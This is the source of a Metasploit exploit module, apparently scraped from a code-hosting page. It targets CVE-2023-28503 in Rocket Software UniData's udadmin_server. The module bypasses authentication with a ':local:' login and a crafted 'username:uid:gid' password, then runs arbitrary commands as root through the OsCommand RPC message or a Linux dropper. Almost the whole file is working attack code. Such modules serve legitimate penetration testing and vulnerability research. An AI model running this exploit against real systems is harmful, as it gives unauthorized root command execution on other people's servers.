Path: blob/master/modules/exploits/linux/misc/unidata_udadmin_auth_bypass.rb
32436 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::Tcp9include Msf::Exploit::CmdStager10include Msf::Exploit::Remote::Unirpc11prepend Msf::Exploit::Remote::AutoCheck1213def initialize(info = {})14super(15update_info(16info,17'Name' => 'Rocket Software Unidata udadmin_server Authentication Bypass',18'Description' => %q{19This module exploits an authentication bypass vulnerability in the20Linux version of udadmin_server, which is an RPC service that comes21with the Rocket Software UniData server. This affects versions of22UniData prior to 8.2.4 build 3003.2324This service typically runs as root. It accepts a username of25":local:" and a password in the form of "<username>:<uid>:<gid>",26where username and uid must be a valid account, but gid can be27anything except 0.2829This exploit takes advantage of this login account to authenticate30as a chosen user and run an arbitrary command (using the built-in31OsCommand message).32},33'License' => MSF_LICENSE,34'Author' => [35'Ron Bowes', # Discovery, PoC, module36],37'References' => [38[ 'URL', 'https://www.rapid7.com/blog/post/2023/03/29/multiple-vulnerabilities-in-rocket-software-unirpc-server-fixed' ],39[ 'CVE', '2023-28503' ],40],41'Targets' => [42[43'Unix Command',44{45'Platform' => 'unix',46'Arch' => ARCH_CMD,47'Type' => :unix_cmd48}49],50[51'Linux Dropper',52{53'Platform' => 'linux',54'Arch' => [ARCH_X86, ARCH_X64],55'Type' => :linux_dropper56}57]58],59'DefaultTarget' => 0,60'DefaultOptions' => {61'RPORT' => 31438,62'PrependFork' => true63},64'Privileged' => true,65'DisclosureDate' => '2023-03-30',66'Notes' => {67'SideEffects' => [],68'Reliability' => [REPEATABLE_SESSION],69'Stability' => [CRASH_SAFE]70}71)72)7374register_options(75[76OptString.new('UNIRPC_USERNAME', [ true, 'Linux username to authenticate with (must match the uid)', 'root']),77OptInt.new('UNIRPC_UID', [ true, 'Linux uid to authenticate with (must correspond to the username)', 0]),78OptInt.new('UNIRPC_GID', [ true, 'gid to authenticate with (must not be 0, does not need to correspond to the username)', 1000]),79]80)8182register_advanced_options(83[84OptString.new('UNIRPC_ENDPOINT', [ true, 'The UniRPC service to request', 'udadmin']),85]86)87end8889# We can detect UniRPC by performing a version check, but the version number90# didn't increment in the patch (only the build number did, which AFAICT we91# can't access), so just do a sanity check92def check93version = unirpc_get_version94vprint_status("Detected UniRPC version #{version} is running")9596Exploit::CheckCode::Detected97rescue UniRPCCommunicationError => e98return CheckCode::Safe("Could not communicate with the UniRPC server: #{e}")99rescue UniRPCUnexpectedResponseError => e100return CheckCode::Safe("UniRPC server returned something unexpected: #{e}")101end102103def execute_command(cmd, _opts = {})104vprint_status('Sending OsCommand request')105sock.put(build_unirpc_message(args: [106# Message type107{ type: :integer, value: UNIRPC_MESSAGE_OSCOMMAND },108{ type: :string, value: cmd },109]))110end111112def exploit113# Sanity check114if datastore['UNIRPC_GID'] == 0115fail_with(Failure::BadConfig, 'UNIRPC_GID cannot be 0')116end117118# Connect to the service119connect120121# Connect to the RPC service (probably "udadmin")122vprint_status("Connecting to UniRPC endpoint #{datastore['UNIRPC_ENDPOINT']}")123sock.put(build_unirpc_message(args: [124# Service name125{ type: :string, value: datastore['UNIRPC_ENDPOINT'] },126127# "Secure" flag - this must be non-zero if the server is started in128# "secure" mode (-s)129{ type: :integer, value: 1 },130]))131132# This will throw an error if the login fails, otherwise we can discard the133# result134recv_unirpc_message(sock, first_result_is_status: true)135136# Prepare the authentication bypass137username = ':local:'138password = "#{datastore['UNIRPC_USERNAME']}:#{datastore['UNIRPC_UID']}:#{datastore['UNIRPC_GID']}"139vprint_status("Authenticating to RPC service as #{username} / #{password}")140141# Send the authentication message142sock.put(build_unirpc_message(args: [143# Message type144{ type: :integer, value: UNIRPC_MESSAGE_LOGIN },145146# Username147# ":local:" is a special value that skips login148{ type: :string, value: username },149150# Password (encoded by making each byte negative)151# I think if username is :local:, this is username:uid:gid (gid can't be 0)152{ type: :string, value: password.bytes.map { |b| (0x0FF & (~b)).chr }.join },153]))154155# Once again, we only care if this fails - if the status is an error156recv_unirpc_message(sock, first_result_is_status: true)157158# Run the command(s)159case target['Type']160when :unix_cmd161execute_command(payload.encoded)162when :linux_dropper163execute_cmdstager164end165rescue UniRPCCommunicationError => e166fail_with(Failure::Unreachable, "Could not communicate with the UniRPC server: #{e}")167rescue UniRPCUnexpectedResponseError => e168fail_with(Failure::UnexpectedReply, "UniRPC server returned something unexpected: #{e}")169end170end171172173